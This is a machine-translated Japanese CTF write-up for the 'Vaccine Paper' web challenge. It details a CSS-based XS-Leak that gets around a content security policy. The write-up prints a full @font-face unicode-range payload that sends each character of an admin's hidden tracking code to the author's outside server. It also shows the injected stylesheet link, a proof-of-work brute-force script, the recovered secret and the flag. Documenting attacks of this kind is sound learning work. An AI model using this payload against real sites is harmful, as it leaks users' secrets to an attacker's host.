2020 サイバー作戦コンテスト - Vaccine Paper Writeup
CSPを利用したXS-Leak攻撃で管理者キーを奪取
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む|
問 題 |
分 野 |
点 数 |
|
|
2.2 Vaccine Paper |
WEB |
? |
|
|
敵国の内部研究資料共有システムにアクセスした。 管理者キーを利用して、治療薬情報を奪取せよ。 |
|||
|
解法手順 |
|
||
|
正 解 |
flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine} |
||
|
解 説 プ ロ セ ス |
|||
![]() 会員登録をしてログインすると、上記のような画面が表示される。 Upload Paper メニューでは何の制約もなく inputをアップロードでき、これを MyPageに表示されるアップロードされた投稿のリンクから入ると、入力した inputがそのまま出力される。
Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';
しかし cspがかかっており scriptは nonceを合わせる必要があるが、styleと fontは制約なく使用可能だ。 ![]() 自分が投稿した記事は、簡単な powを解くと管理者に送信され、 headlesschrome/77.0.3835.0 で自分の記事にアクセスしてくることがわかる。 ![]()
最初は script nonce leak 問題だと思ってかなり無駄な時間を費やしたが、よく見るとメインページのコメントアウトに /vaccine.phpがあった(苦笑);;;;;
![]() vaccine.phpは、簡単な powを渡すと tracking codeを検査し、それが adminのものであれば vaccineをくれるというものだ。これを知らなくて少し手こずったが…….. ![]()
tracking codeはこのように埋め込まれているが、 cssによって display:noneで隠されている。
しかし、こちらは自由に stylesheetを読み込むことができ、 font の外部リクエストも自由に可能だ(style-src *; font-src *;)
したがって、 font-faceを利用した xs leakを使えば簡単に解くことができる。 (reference : http://vulnerabledoma.in/poc_unicode-range2.html) @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:0'); unicode-range:U+0030; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:1'); unicode-range:U+0031; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:2'); unicode-range:U+0032; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:3'); unicode-range:U+0033; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:4'); unicode-range:U+0034; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:5'); unicode-range:U+0035; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:6'); unicode-range:U+0036; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:7'); unicode-range:U+0037; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:8'); unicode-range:U+0038; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:9'); unicode-range:U+0039; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:A'); unicode-range:U+0041; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:B'); unicode-range:U+0042; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:C'); unicode-range:U+0043; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:D'); unicode-range:U+0044; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:E'); unicode-range:U+0045; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:F'); unicode-range:U+0046; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:G'); unicode-range:U+0047; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:H'); unicode-range:U+0048; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:I'); unicode-range:U+0049; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:J'); unicode-range:U+004A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:K'); unicode-range:U+004B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:L'); unicode-range:U+004C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:M'); unicode-range:U+004D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:N'); unicode-range:U+004E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:O'); unicode-range:U+004F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:P'); unicode-range:U+0050; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Q'); unicode-range:U+0051; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:R'); unicode-range:U+0052; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:S'); unicode-range:U+0053; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:T'); unicode-range:U+0054; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:U'); unicode-range:U+0055; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:V'); unicode-range:U+0056; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:W'); unicode-range:U+0057; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:X'); unicode-range:U+0058; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Y'); unicode-range:U+0059; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Z'); unicode-range:U+005A; }
@font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:a'); unicode-range:U+0061; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:b'); unicode-range:U+0062; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:c'); unicode-range:U+0063; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:d'); unicode-range:U+0064; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:e'); unicode-range:U+0065; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:f'); unicode-range:U+0066; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:g'); unicode-range:U+0067; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:h'); unicode-range:U+0068; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:i'); unicode-range:U+0069; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:j'); unicode-range:U+006A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:k'); unicode-range:U+006B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:l'); unicode-range:U+006C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:m'); unicode-range:U+006D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:n'); unicode-range:U+006E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:o'); unicode-range:U+006F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:p'); unicode-range:U+0070; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:q'); unicode-range:U+0071; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:r'); unicode-range:U+0072; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:s'); unicode-range:U+0073; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:t'); unicode-range:U+0074; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:u'); unicode-range:U+0075; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:v'); unicode-range:U+0076; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:w'); unicode-range:U+0077; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:x'); unicode-range:U+0078; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:y'); unicode-range:U+0079; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:z'); unicode-range:U+007A; }
.tracker-hidden{ display:block!important; font-family:attack; }
tracker-hiddenが display:noneになっているため、 visibleに変更して font-familyが適用されるようにした後、 unicode-rangeを利用して [A-Za-z0-9] の範囲の文字が存在する場合、その font-familyを通じて src:url()に設定された自分のドメインへ font リクエストを送信させることで、どの文字が存在するかを知ることができる。
これを http://ar9ang3.com/aa.css のように cssファイルとして自分のサーバーに作成した後、, <link rel="stylesheet" href="http://ar9ang3.com/aa.css"> を uploadする際に入れてやれば、管理者が自分の記事を読むときに作成した cssが適用され、 xs-leakが動作するはずだ。 ![]() 実際に自分のサーバーへ一文字ずつ送信されており、,
Privacy Policy: In order to protect information of NVL, to access every work will be tracked. To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used. Each letters of secret code are in increasing order of ASCII code.
とメインページに書かれていたため、 ascii order(ASCII順)で重複なく構成されているはずだ。これらをすべて集めてソートすると、,
![]()
adminの tracker codeは '012378IJLMNQSWXYadeghilnopqrtuyz' である。
これを vaccine.phpに入れて送信すれば ![]() フラグが表示される
参考) pow コード from arang import *
for i in range(0,0xfffffff): if i % 100000 == 0: print(f'[+] doing {i}') s = hexencode(sha1(str(i))) if s[:6] == b'0b83ff': print(i) break
----------------------------------------------------------------------------------------------- |
|||








コメント